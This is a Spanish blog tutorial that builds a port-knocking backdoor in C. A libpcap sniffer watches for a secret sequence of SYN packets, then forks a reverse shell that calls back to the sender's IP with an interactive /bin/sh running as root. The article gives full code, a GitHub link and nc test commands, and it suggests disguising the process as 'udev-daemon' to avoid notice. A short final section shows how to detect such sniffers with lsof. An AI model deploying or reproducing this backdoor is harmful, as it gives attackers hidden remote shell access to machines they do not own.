Knock, Knock, Knocking en tu BackDoor
SEGURIDAD
Knock, Knock, Knocking en tu BackDoor
2016-01-29
Por
Andrés "Andy" Pajaquer

Habéis oído hablar de una técnica conocida como Port Knocking. Algo así como Llamar a los Puertos, en lugar de Llamar a la puerta. La técnica consiste en habilitar el acceso a un servicio, enviando una secuencia especial de paquetes. En su concepto original, estos paquetes cambian la configuración del firewall para permitir el acceso a un determinado servicio, pero en general la idea se puede implementar de distintas formas.
En este artículo, en lugar de cambiar la configuración de un firewall, lo que vamos a hacer es lanzar el servicio. Vamos, que no es que nuestro servicio este protegido por el firewall y una secuencia de paquetes abra el puerto en cuestión. Es que nuestro servicio simplemente no existirá, hasta que la secuencia correcta de paquetes se reciba.

Si bien, como suele pasar con este tipo de cosas, la técnica no es ni buena ni mala, su aplicación más directa es como parte de puertas traseras camufladas que permiten a un atacante externo activarla cuando la necesite, pero que sino, permanecen totalmente ocultas. Bueno, bastante ocultas. Volveremos sobre este tema más tarde.

Podéis descargar el código de este artículo de github en este repositorio. El código está bajo el directorio lh_knock.

https://github.com/picoflamingo/hacking_codes

Clonad!. Clonad Malditos! :)

FUNDAMENTOS

Antes de meternos de lleno en el código vamos a explicaros como tenemos la intención de implementar nuestro Backdoor activado a través de Port Knocking... lo siento no se como traducir todo eso sin que me salga un párrafo larguísimo.

La cosa es bastante fácil, solo tenemos que instalar un sniffer que capture paquetes y compruebe si esos paquetes cumplen unas ciertas condiciones. Una vez hecho eso, solo tenemos que detectar la secuencia que nos interese y lanzar el programa/servicio o lo que sea que queramos activar.

En el número 4 de Occam's Razor, ya os explicamos como escribir un sniffer en cuatro líneas. La primera parte de nuestro programa va a ser más o menos igual.

Antes de proseguir, solo comentar que el código que aparece en este texto no incluye las comprobaciones de error y otras cosas, así que es un poco diferente de lo que os bajaréis del repositorio en github. Pensamos que es más fácil seguir el código de esta forma... pero como siempre estamos abiertos a sugerencias.

UN SNIFFER

La forma más sencilla de implementar un sniffer, como todos nuestros lectores saben, es utilizando la librería pcap. La misma que usa tcpdump y wireshark. Usando esta libería, un sniffer es algo tan tonto como esto:

int
main (int argc, char *argv[])
{
  char               err[PCAP_ERRBUF_SIZE];
  pcap_t*            h;
  struct bpf_program fp;
  char *             filter = "tcp[tcpflags] & (tcp-syn) != 0 and "
  "tcp[tcpflags] & (tcp-ack) == 0";

  h = pcap_open_live (argv[1], BUFSIZ, 0, 0, err);

  pcap_compile (h, &fp, filter, 0, netp);
  pcap_setfilter (h, &fp);

  pcap_loop (h, -1, ip_cb, NULL);

  return 0;
}
	  

Lo primero que hace el programa es iniciar nuestro interfaz de red, que pasamos como primer parámetro (en argv[1]). Para ello le pasamos un tamaño de buffer para los paquetes (en este caso una de las constantes predefinidas por pcap), si queremos poner el interfaz en modo promiscuo, el timeout de lectura y un puntero para recibir mensajes de error en caso de que algo vaya mal.

Volveremos sobre estos parámetros en artículos posteriores. Por el momento, esos valores deberían funcionar bien para lo que queremos haver.

FILTROS

Por defecto, nuestro sniffer captura todo. Podemos dejarlo así y filtrar nosotros mismos los paquetes, o podemos usar el sistema de filtrado de paquetes que ofrece la librería... probablemente mucho más eficiente y, sinceramente, filtrar paquetes es una tarea bastante aburrida.

Los filtros que utiliza pcap, se proporcionan como una cadena de caracteres y luego se compilan y activan. Esas cadenas de caracteres son exactamente las misma que usáis con tcpdump o wireshark. Bueno, quizás no utilicéis mucho esas herramientas, pero a la hora de buscar un filtro, tened en cuenta que lo que se diga para esas dos herramientas también vale para vuestro sniffer.

El filtro que utilizamos en nuestro sniffer es este:

tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0

O, en otras palabras: Dame todos los paquetes que tengan el flag SYN activo pero el flag ACK a cero. En otras palabras distintas, avísame cuando alguien haga un intento de conexión.

Podríamos añadir también los puertos que queremos detectar en el filtro y asegurarnos que nuestra función solo se llama para los paquetes que nos interesa. Nosotros lo hemos dejado así para no complicar el filtro (eso no nos aporta mucho), y para dejaros alguna cosa para probar vosotros mismos.

Otra cosa que podríamos hacer es utilizar otro tipo de flags, o ciertos valores en el área de datos del paquete,... Vamos, que no tiene que ser un paquete de conexión. La ventaja de utilizar paquetes SYN, es que no necesitamos una herramienta especial para enviar los paquetes.

DETECTANDO LA SECUENCIA

Bien. Nuestro sniffer ya está listo. Si os fijáis en la llamada a pcap_loop, veréis que estamos pasando un puntero a una función. Esta función se ejecutará cada vez que capturemos un paquete que cumpla los requisitos de nuestro filtro. Es decir, cada vez que haya un intento de conexión.

Lo que vamos a hacer en esa función es comprobar el puerto de destino de ese paquete y si corresponde con el puerto correcto en nuestra secuencia, esperaremos por el siguiente. Sino, empezamos de nuevo.

Esto tiene el problema de que si, mientras enviamos nuestra secuencia de paquetes alguna otra persona intenta una conexión, ese paquete se colará en medio y romperá la secuencia, arruinando nuestro intento de llamar al puerto. A alguien se le ocurre una solución?

Bueno, mientras esperamos vuestros comentarios, vamos a echarle un ojo al código. Lo primero que tenemos que ver son las variables que vamos a utilizar.

int            port_list[] = {5000,6500,5500, -1};
int            indx = 0;
struct in_addr ip;
	  

La primera, como habréis adivinado, es nuestra secuencia de puertos. Vamos a esperar un intento de conexión al puerto 5000, luego al 6500 y finalmente al 5500. Tal y como lo hemos preparado, podéis hacer la secuencia tan larga como queráis. La variable indx, nos va a indicar cual es el siguiente puerto que esperamos. En cierto modo, estamos implementado una máquina de estados, e indx almacena el estado actual.

Finalmente, la variable ip va a almacenar la dirección desde la que se ha enviado el paquete. Vamos a usar este valor para llamar de vuelta a casa. Lo veremos enseguida. Quizás también se pueda utilizar para evitar que una conexión intermedia nos fastidie la conexión... no sé.

Procesando Los paquetes

Bien, ya casi estamos. Esta es la función que procesa nuestros paquetes.

	  
void 
ip_cb (u_char *args, const struct pcap_pkthdr* pkthdr, const u_char *p)
{
  struct ip     *ip_pkt;
  struct tcphdr *tcp_pkt;
  int            port;

  ip_pkt =  (struct ip*) (p + sizeof (struct ether_header));
  tcp_pkt = (struct tcphdr*) (p + sizeof (struct ether_header) + sizeof(struct ip));

  port = ntohs(tcp_pkt->dest);

  if (port_list[indx] == port)
    {
      indx ++;
      /* Almacena IP de origen */
      memcpy ((void*)&ip, (void*)&ip_pkt->ip_src, sizeof(struct in_addr));

      if (port_list[indx] == -1)
        {
	  printf ("Open The door!\n");
	  reverse_shell (ip);
	  indx = 0;
	}
    } 
  else 
    {
	  // Si algo va mal, reseteamos la secuencia
	  indx = 0;
    }
}
	  

Lo primero que hace la función es obtener un puntero a las cabeceras IP y TCP del paquete recibido. El paquete está compuesto por la cabecera del nivel 2, en este caso Ethernet, seguido de la cabecera IP y la cabecera TCP. Luego vienen los datos, pero eso no nos interesa en este caso.

Una vez que tenemos los punteros a las cabeceras, extraemos la dirección IP de origen (quién está enviando el paquete) y el puerto destino. La dirección IP se encuentra en la cabecera IP, mientras que el puerto TCP se encuentra en la cabecera TCP. Por eso necesitamos acceder a las dos cabeceras.

El resto de la función simplemente comprueba que el puerto es el correcto, y actualiza el estado hasta que encuentra el valor -1 en nuestro array con la lista de puertos. Si eso sucede, significará que la secuencia correcta a sido enviada y habrá que hacer lo que haya que hacer. En este caso iniciar un "Reverse Shell" (interfaz de comandos con conexión inversa??).

Una Reverse Shell Mínima

El término "Reverse Shell" se suele utilizar para referenciar un acceso al intérprete de comandos de una máquina, (lo que haríamos con telnet o ssh_ pero en lugar de iniciar nosotros la conexión, la máquina a la que queremos conecta es la que inicia esa conexión.

Esta cosa existe debido a los firewalls. Una configuración segura estándar, sólo permite conexión a unos pocos puertos (normalmente los puertos Web, 80, 8080, 433) e impide cualquier conexión externa. Así que lo que la gente empezó a hacer es lo que se conoce llamar de vuelta a casa, ya que esa conexión (hacia un servicio web), si está permitida, y en principio no hará saltar ninguna alarma en el firewall... En principio.

Bueno, si tras llamar a casa, creamos un nuevo proceso en el que ejecutamos una shell y duplicamos la entrada estándar, la salida estándar y la salida de error estándar para que tengan el mismo descriptor de fichero que nuestros socket.... Voila, tenemos un acceso shell a esa máquiana... Vamos un Reverse Shell de toda la vida... De los Shell de siempre.

En este caso, para ser más güays, lo que hacemos es llamar de vuelta a la IP que ha enviado los paquetes para despertar el servicio (de hecho a la del último paquete)... vamos el que conoce la secuencia... por eso estábamos almacenando la IP de los paquetes que capturamos. Con todo lo dicho, la función reverse_shell no debería tener secretos para vosotros en este momento.

	  
#define RS_PORT   8081

int
reverse_shell (struct in_addr ip)
{
  int                s;
  struct sockaddr_in serv;

  if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0)
    {
      perror ("socket:");
      return -1;
    }

  serv.sin_family = AF_INET;
  serv.sin_port = htons(RS_PORT);
  memcpy ((void *) &serv.sin_addr.s_addr, (void *) &ip, 
  sizeof(struct in_addr));

  if (connect (s, (struct sockaddr *) &serv, sizeof(serv)) < 0) 
  perror("connect:");

  /* Fork and dup */
  pid_t pid ;
  char *name[3] ;

  if ((pid = fork ()) < 0)
    write (2, "Cannot create process\n", 22);
  else
    {
      if (pid) close (s);
      else
        {
	  dup2 (s, 0);
	  dup2 (s, 1);
	  dup2 (s, 2);

	  printf ("ROOR Reverse Shell v 0.1\n");
	  name[0] = "/bin/sh";
	  name[1] = "-i";
	  name[2] = NULL;
	  execv (name[0], name );
	  exit (1);
         }
      }
   return 0;
}
	  

Creamos un socket. Conectamos a la IP de la que recibimos los puertos. Creamos un proceso hijo, duplicamos descriptores de ficheros y lanzamos una shell en modo interactivo... Ya'stá.

LA HORA DE LA VERDAD

Ahora tenemos que probarlo. Vamos allá.

En un terminal, lanzaremos nuestro servicio. Hay que hacerlo como root, ya que un sniffer necesita un socket RAW, cuya creación es una operación privilegiada. Vamos a utilizar el dispositivo de loopback lo, de forma que los que no tengáis una red cableada podáis probarlo. Sino, podéis poner eth0 o lo que sea. Como ya os dijimos, tal y como está no funcionará en un interfaz wifi (wlan0, ath0, etc... NO)

$ sudo ./knock lo
	  

En otro terminal vamos a lanzar el servidor al que el "reverse shell" llamará devuelta

$ nc -l 8081
	  

Ahí la dejamos.

Finalmente, en un tercer terminal lanzamos nuestros paquetes:

$ nc localhost 5000; nc localhost 6500; nc localhost 5500
	  

Nuestro programa knock mostrará algo como esto:

+ [1] SYNC From : 127.0.0.1:5000
+ [2] SYNC From : 127.0.0.1:6500
+ [3] SYNC From : 127.0.0.1:5500
Open The door!
	  

Y en el terminal donde lanzamos el netcat escuchando en el puerto 8080, veremos esto:

$ nc -l 8081
ROOR Reverse Shell v 0.1
#
	  

Ahora escribid ls, o cat algo, o lo que sea...

Podemos hacerlo desde un sólo terminal, usando NetKitty, con un comando como este:

nk -s T,8081 -c T,127.0.0.1,5000 T,127.0.0.1,6500 T,127.0.0.1,5500 
	  

Para saber más sobre NetKitty, aquí tenéis el tutorial oficial (si, claro, es mi propia herramienta ;)

DETECCIÓN

Bien, ahora tenemos que saber como detectar un programa de este tipo. En principio, un sniffer como el que hemos descrito aquí no abre ningún puerto ni inicia ninguna conexión, de forma que no podremos verlos con netstat o ss. El proceso lo podemos ver fácilmente, pero si en lugar de Knock, llamamos a nuestro programa, udev-daemon, por poner un ejemplo, hay muchas posibilidades de que pase desapercibido, especialmente si nada raro está pasando por el sistema. Hay un montón de programillas con esos nombre crípticos ejecutándose todo el tiempo...

No pinta muy bien eh?. Bueno, a no ser que nos hayan instalado un rootkit que oculte el backdoor a lo bestia, por el momento, la única forma de implementar un sniffer es utilizando sockets RAW. En principio no debería haber muchos sockets RAW abiertos en un sistema normal. Veamos:

$  sudo lsof | grep RAW
      Output information may be incomplete.
dhclient  23065       root    5u     pack            7566817      0t0        ALL type=SOCK_RAW
	  

Ya pinta mejor. Solo root puede crear un socket RAW, así que tenemos que ejecutar el comando lsof (LiSt of Open Files), como root, o utilizando sudo, como en el ejemplo. Ahora lancemos nuestro backdoor de nuevo y, en otro terminal, veamos que nos dice lsof.

$  sudo lsof | grep RAW
      Output information may be incomplete.
knock     16640       root    3r     pack            8039532      0t0        ALL type=SOCK_RAW
dhclient  23065       root    5u     pack            7566817      0t0        ALL type=SOCK_RAW
	  

WoW, canta como un árbol de Navidad!!!. Así que una posibilidad para cargarnos sniffers en este sistema podría ser esta línea (seguro que se puede hacer mucho mejor)

# lsof | awk '!/dhclient/ && /RAW/ {print $2}' | xargs kill
	  

Sí. Hay que ejecutarla como root, tanto para poder encontrar el fichero como para poder matar el proceso.

THE END

Bueno, esto es todo por hoy. Esperamos que os haya parecido interesante, y que si os animáis a hacer alguna de la modificaciones que os proponemos en el artículo, nos la hagáis llegar.

Hasta la próxima.


Header Image Credits: LittleVisuals

SOBRE Andrés "Andy" Pajaquer
En lo que a seguridad se refiere Andy es un crack. Conocedor de los secretos más oscuros de tu sistema operativo, es capaz de extorsionarlo para conseguir de el lo que quiera. Andy es licenciado por la Universidad del Humor y recientemente a defendido su tesis: "Origen Epistemológico de los Chiste Paramétricos en Entornos en bebidos", en la que contó con la ayuda inestimable de Jim "Tonys".

 
Tu publicidad aquí :)